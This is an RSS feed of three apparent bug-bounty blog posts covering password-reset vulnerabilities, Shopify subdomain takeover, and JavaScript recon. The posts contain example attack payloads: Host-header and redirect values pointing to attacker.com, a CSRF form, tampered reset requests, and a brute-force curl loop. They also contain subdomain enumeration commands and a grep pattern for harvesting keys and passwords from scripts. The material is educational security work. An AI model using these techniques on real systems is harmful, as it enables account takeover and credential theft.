<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ahmed Elshaepe on Medium]]></title>
        <description><![CDATA[Stories by Ahmed Elshaepe on Medium]]></description>
        <link>https://medium.com/@ahmed.elshaepe?source=rss-6c76751f3fb4------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*gWavglndfxCO7-Aroepnpw.jpeg</url>
            <title>Stories by Ahmed Elshaepe on Medium</title>
            <link>https://medium.com/@ahmed.elshaepe?source=rss-6c76751f3fb4------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 03 Dec 2026 13:37:26 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ahmed.elshaepe/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[All About Password Reset Vulnerabilities]]></title>
            <link>https://medium.com/@ahmed.elshaepe/all-about-password-reset-vulnerabilities-061e8e24c5bd?source=rss-6c76751f3fb4------2</link>
            <guid isPermaLink="false">https://medium.com/p/061e8e24c5bd</guid>
            <dc:creator><![CDATA[Ahmed Elshaepe]]></dc:creator>
            <pubDate>Tue, 05 Nov 2024 10:16:32 GMT</pubDate>
            <atom:updated>2024-11-05T10:16:32.333Z</atom:updated>
            <content:encoded><![CDATA[<h4>1. Host Header Injection</h4><p><strong>Example:</strong></p><ul><li><strong>Scenario:</strong> The application sends a password reset link based on the Host header</li><li><strong>Exploit:</strong> Intercept the request and modify</li></ul><pre>Host: attacker.com</pre><ul><li><strong>Outcome:</strong> The reset link is generated with http://attacker.com/reset?token=xyz, allowing the attacker to intercept the link.</li></ul><h3>2. IDOR in Password Reset</h3><p><strong>Example:</strong></p><ul><li><strong>Scenario:</strong> The request contains a user ID.</li><li><strong>Exploit:</strong> Intercept the request:</li></ul><pre>POST /reset-password <br>{<br> &quot;user_id&quot;: &quot;12345&quot;<br> }</pre><ul><li>Change &quot;user_id&quot;: &quot;12345&quot; to &quot;user_id&quot;: &quot;67890&quot;.</li><li><strong>Outcome:</strong> The password reset for user 67890 is triggered, not the attacker’s account.</li></ul><h3>3. Email Parameter Manipulation</h3><p><strong>Example:</strong></p><ul><li><strong>Scenario:</strong> The reset request accepts the email field.</li><li><strong>Exploit:</strong> Intercept the request:</li></ul><pre>POST /reset-password<br>{<br> &quot;email&quot;: &quot;victim@example.com&quot; <br>}</pre><ul><li>Change victim@example.com to attacker@example.com.</li><li><strong>Outcome:</strong> The reset link is sent to attacker@example.com.</li></ul><h3>4. Password Reset Token Reuse</h3><p><strong>Example:</strong></p><ul><li><strong>Scenario:</strong> A token issued for one account is valid for another.</li><li><strong>Exploit:</strong> Request a reset token for attacker@example.com. Use the same token:</li></ul><pre>POST /reset-password <br>{ <br>&quot;token&quot;: &quot;abc123&quot;,<br> &quot;new_password&quot;: &quot;newpassword&quot; <br>}</pre><ul><li><strong>Outcome:</strong> Token abc123 resets victim@example.com’s password.</li></ul><h3>5. Weak Password Reset Token Generation</h3><p><strong>Example:</strong></p><ul><li><strong>Scenario:</strong> Tokens are predictable.</li><li><strong>Exploit:</strong> Notice tokens are sequential: token123, token124. Guess the next token:</li></ul><pre>/reset-password?token=token125</pre><ul><li><strong>Outcome:</strong> Reset another user’s password using a guessed token.</li></ul><h3>6. Password Reset Link Redirect</h3><p><strong>Example:</strong></p><ul><li><strong>Scenario:</strong> The reset link includes a redirection parameter.</li><li><strong>Exploit:</strong></li></ul><pre>GET /reset-password?token=xyz&amp;redirect=http://attacker.com</pre><ul><li><strong>Outcome:</strong> User is redirected to http://attacker.com after resetting their password.</li></ul><h3>7. Cross-Site Request Forgery (CSRF) in Password Reset</h3><p><strong>Example:</strong></p><ul><li><strong>Scenario:</strong> No CSRF protection.</li><li><strong>Exploit:</strong> Attacker crafts a form:</li></ul><pre>&lt;form action=&quot;http://target.com/reset-password&quot; method=&quot;POST&quot;&gt; <br>&lt;input type=&quot;hidden&quot; name=&quot;email&quot; value=&quot;victim@example.com&quot;&gt;<br> &lt;/form&gt;</pre><ul><li><strong>Outcome:</strong> User unknowingly triggers a reset for victim@example.com.</li></ul><h3>8. Response Manipulation</h3><p><strong>Example:</strong></p><ul><li><strong>Scenario:</strong> The reset process leaks sensitive info in the response.</li><li><strong>Exploit:</strong> Modify intercepted response:</li></ul><pre>HTTP/1.1 200 OK <br>{ <br>&quot;user&quot;: &quot;victim@example.com&quot;,<br> &quot;reset_link&quot;: &quot;http://example.com/reset?token=xyz&quot;<br>}</pre><p>Inject:</p><pre>{<br>&quot;user&quot;: &quot;attacker@example.com&quot;,<br> &quot;reset_link&quot;: &quot;http://attacker.com/reset?token=xyz&quot;<br>}</pre><ul><li><strong>Outcome:</strong> Attacker gains the reset link.</li></ul><h3>9. Missing Rate Limiting</h3><p><strong>Example:</strong></p><ul><li><strong>Scenario:</strong> No rate limit on password reset.</li><li><strong>Exploit:</strong> Use a script to automate:</li></ul><pre>for i in {1..1000}; do <br>curl -X POST http://example.com/reset-password -d &quot;email=user$i@example.com&quot; <br>done</pre><ul><li><strong>Outcome:</strong> Brute-force tokens or enumerate valid users.</li></ul><h3>10. Session Fixation During Password Reset</h3><p><strong>Example:</strong></p><p><strong>Scenario:</strong> Session ID remains unchanged post-reset.</p><p><strong>Exploit:</strong></p><ul><li>Attacker logs in as a victim.</li><li>Initiates a password reset.</li><li>After reset, still has the session:</li></ul><pre>POST /reset-password <br>Cookie: session=abc123</pre><ul><li><strong>Outcome:</strong> Attacker retains access even after the victim resets the password.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=061e8e24c5bd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Subdomain Takeover via Shopify]]></title>
            <link>https://medium.com/@ahmed.elshaepe/subdomain-takeover-via-shopify-20a5ad19e419?source=rss-6c76751f3fb4------2</link>
            <guid isPermaLink="false">https://medium.com/p/20a5ad19e419</guid>
            <dc:creator><![CDATA[Ahmed Elshaepe]]></dc:creator>
            <pubDate>Sat, 12 Oct 2024 00:33:54 GMT</pubDate>
            <atom:updated>2024-10-26T12:15:04.536Z</atom:updated>
            <content:encoded><![CDATA[<h3>بسم الله والحمد لله والصلاة والسلام علي رسول الله صلي الله عليه وسلم الحمدلله الذي علم بالقلم علم الانسان ما لم يعلم والصلاة والسلام على خير معلم الناس الخير محمد وبعد..</h3><h3>What is Subdomain Takeover?</h3><p><strong>Subdomain Takeover</strong> is a vulnerability that occurs when a subdomain points to a service (e.g., GitHub Pages, AWS S3, Heroku, etc.) but the service is no longer active or has been deprovisioned. This leaves the subdomain unclaimed, allowing an attacker to register or claim the service at that subdomain, effectively taking control of it.</p><h3>How it Happens:</h3><ol><li><strong>Subdomain points to a third-party service</strong>: Companies often configure subdomains to point to external services (like cloud hosting or SaaS platforms).</li><li><strong>Service is deleted or unconfigured</strong>: If the service is no longer in use but the DNS entry pointing to it still exists, the subdomain remains active but without an actual service attached.</li><li><strong>Attacker claims the service</strong>: An attacker can register or create a resource at that same service provider, using the subdomain that still points there.</li><li><strong>Control over the subdomain</strong>: Once the attacker claims the subdomain, they can serve malicious content, conduct phishing attacks, or exploit trust in the company’s domain.</li></ol><h3>How Subdomain Takeover via Shopify works?</h3><p>Subdomain takeover via <strong>Shopify</strong> occurs when a domain or subdomain is configured to point to Shopify (e.g., using a CNAME record like shops.myshopify.com), but the associated Shopify store is no longer active or has been deleted</p><h3>How to look for potential vulnerable subdomain?</h3><p>1) use <a href="https://www.wappalyzer.com/">wappalyzer </a>to see if the target is using or built on shopify</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/495/1*pGqpAT3XxuEpmI0qmUBjkw.png" /></figure><p>2. ) use <a href="https://github.com/projectdiscovery/subfinder">Subfinder </a>to enumerate the subdomain</p><pre>subfinder -dL target.txt -all -recursive -o Subs.txt</pre><p>3. ) use <a href="https://github.com/projectdiscovery/httpx">httpx </a>or <a href="https://httpstatus.io/">httpstatus</a> to enumerate the http status code and look for <em>404 status code</em> ( 404 = potential vulnerable to subdomain takeover )</p><pre>cat Subs.txt | httpx -sc -mc 404 </pre><p>4. ) Check every 404 output and manually look for something like this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*NwfbvsRuFJv1X1JtrsOSwQ.png" /></figure><p>5. ) After that, go to shopify and if you are new, then create a free account</p><p>6. ) Then go to settings, and click domains</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/537/1*95tua806bl-U9Pt38oMOZw.png" /></figure><p>7. ) in the domains click “Connect existing domain”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*KgBwddLSLcuZEuF1knfq4w.png" /></figure><p>8. ) Then enter the vulnerable subdomain and click next.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*P11KpJ7RQtt2CckwSQngBA.png" /></figure><p>9. ) after you connect the existing domain click “Verify connection”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*hs55a5Nqr3n3HDwfAexB6Q.png" /></figure><p>10.) congratulations Subdomain Takeove Successfully</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zeJz_d0xUlqZF3d_ppe7Gw.png" /></figure><h3>there is many other ways to search for subdomain takeover:</h3><h4>1.first using nuclei template</h4><pre>nuclei -list AliveSubs.txt -t takeovers</pre><h4>2. using subzy tool :</h4><p>Subdomain takeover via AWS s3 bucket</p><pre>subzy run --target AliveSubs.txt --vuln</pre><p>It works based on matching response fingerprints from <a href="https://github.com/EdOverflow/can-i-take-over-xyz/blob/master/README.md">can-i-take-over-xyz</a>. but most of the result are false positive</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/301/1*-LkmJXX9xQpx5ejYUWVWew.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=20a5ad19e419" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[All About JavaScript Analysis For Bug Bounty Hunting]]></title>
            <link>https://medium.com/@ahmed.elshaepe/all-about-javascript-analysis-for-bug-bounty-hunting-3e0f941c9676?source=rss-6c76751f3fb4------2</link>
            <guid isPermaLink="false">https://medium.com/p/3e0f941c9676</guid>
            <dc:creator><![CDATA[Ahmed Elshaepe]]></dc:creator>
            <pubDate>Tue, 09 Jul 2024 16:16:50 GMT</pubDate>
            <atom:updated>2024-07-09T16:16:50.405Z</atom:updated>
            <content:encoded><![CDATA[<h3>JavaScript :</h3><blockquote>a programming language widely used on the Internet, can be utilized on both the client and server side for development. It’s implemented on almost all web pages.</blockquote><h3>JavaScript analysis</h3><p>is a crucial part of bug bounty hunting because many web vulnerabilities are exposed through client-side scripts. Here’s a comprehensive guide on how to analyze JavaScript for bug bounty purposes</p><h4>An example of reading .js files on ReactJS</h4><p>Imagine you are on https://www.example.com and you upon viewing the source you discover an &quot;app.js&quot; file. As well this, when visiting https://www.example.com/settings, you would see a <strong>settings.js</strong> file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*iaFx3eWUSGoGWI2pix1noA.jpeg" /></figure><p>However at this point <strong>app.js</strong> is our focus. What are we looking for? <strong>New endpoints</strong>, <strong>parameters</strong> and perhaps <strong>api keys</strong>.</p><h3>What you’re looking for</h3><blockquote>New endpoints</blockquote><blockquote>New parameter</blockquote><blockquote>Hidden features. Not available on the web application but the code exists for the feature. Premium only? Can you interact with it as non premium?</blockquote><blockquote>API keys</blockquote><blockquote>Developer comments (for example // this is a Dev comment or /* this is a multi line Dev comment */) can sometimes contain information such as when the code was published or any updates that have occurred. If the code is old there is more chance of you finding an issue!</blockquote><h3>How We Can Analyze JavaScript Files ?</h3><p>First We Need to discover subdomains, identify JavaScript files (with HTTP response status 200), and save the results in separate files. Here’s an explanation of each part of the command:</p><p>Finding Subdomains</p><pre>echo &quot;domain.com/s&quot; &gt; target.txt</pre><p>Sets up a target file for subdomain enumeration.</p><pre>subfinder -dL target.txt -all -recursive -o Subs01.txt</pre><p>Discovers subdomains recursively and saves the results to a file using <a href="https://github.com/projectdiscovery/subfinder"><strong>SubFinder</strong></a>.</p><pre>subenum -l target.txt -u wayback,crt,abuseipdb,bufferover,Findomain,Subfinder,Amass,Assetfinder -o Subs02.txt</pre><p>Enumerates subdomains using various sources and tools, consolidating the results into a single file using <a href="https://github.com/bing0o/SubEnum"><strong>SubEnum</strong></a>.</p><pre>cat Subs*.txt | anew | tee AllSubs.txt</pre><pre>cat AllSubs.txt | httpx -o AliveSubs.txt</pre><p>These steps help refine your target list and ensure you’re focusing on live, responsive subdomains, and if <a href="https://github.com/projectdiscovery/httpx"><strong>httpx</strong></a> works slowly u can use something like <a href="https://blog.amrelsagaei.com/segfault-your-ultimate-cybersecurity-workspace/"><strong>SegFault</strong></a> for a better internet connection.</p><h3>Collecting and Analyzing URLs</h3><pre>cat AliveSubs.txt | waybackurls | tee urls.txt</pre><p>Filters URLs with parameters and saves them for parameter-based testing.</p><pre>cat urls.txt | grep -iE &#39;.js&#39;|grep -ivE &#39;.json&#39;|sort -u | tee js.txt</pre><h3>subjs fetches javascript files from a list of URLS or subdomains.</h3><pre>cat urls.txt | subjs | tee subjs.txt</pre><p>Analyzing javascript files can help you find undocumented endpoints, secrets, and more.</p><h4>Download All links in js.txt and do search about these</h4><p>code :</p><pre>file=&quot;js.txt&quot;<br># Loop through each line in the file<br>while IFS= read -r link<br>do<br>    # Download the JavaScript file using wget<br>    wget &quot;$link&quot;<br>done &lt; &quot;$file&quot;</pre><p>Extracts JavaScript files from URLs for analysis.</p><pre>grep -r -E &quot;aws_access_key|aws_secret_key|api key|passwd|pwd|heroku|slack|firebase|swagger|aws_secret_key|aws key|password|ftp password|jdbc|db|sql|secret jet|config|admin|pwd|json|gcp|htaccess|.env|ssh key|.git|access key|secret token|oauth_token|oauth_token_secret&quot; /path/to/directory/*.js</pre><p>Make sure to replace /path/to/directory with the actual path to the directory where your .js files are located. The command will recursively search for the specified keywords in all .js files within that directory.</p><h3>JavaScript Analysis using nuclei</h3><p>Once you get the JS URLs you can use nuclei exposures tag on it get more sensitive information .</p><p>To run a Nuclei command on the js.txt file with the exposures tag, you can use the following command:</p><pre>nuclei -l js.txt -t ~/nuclei-templates/exposures/</pre><h4>Automating reading .js files</h4><p>Another approach is to use a tool called GetJS by 003random which can be found here: <a href="https://github.com/003random/getJS">https://github.com/003random/getJS</a>. GetJS will take a list of domains and extract any .js files found on each domain. This is useful if you want to sort through lots of .js files for new urls/endpoints (which we explain below) on a mass scale. If the website you are testing <strong>does</strong> contain a specific .js file for each feature/endpoint, then you could begin scanning for endpoints to discover new JS files.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3e0f941c9676" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>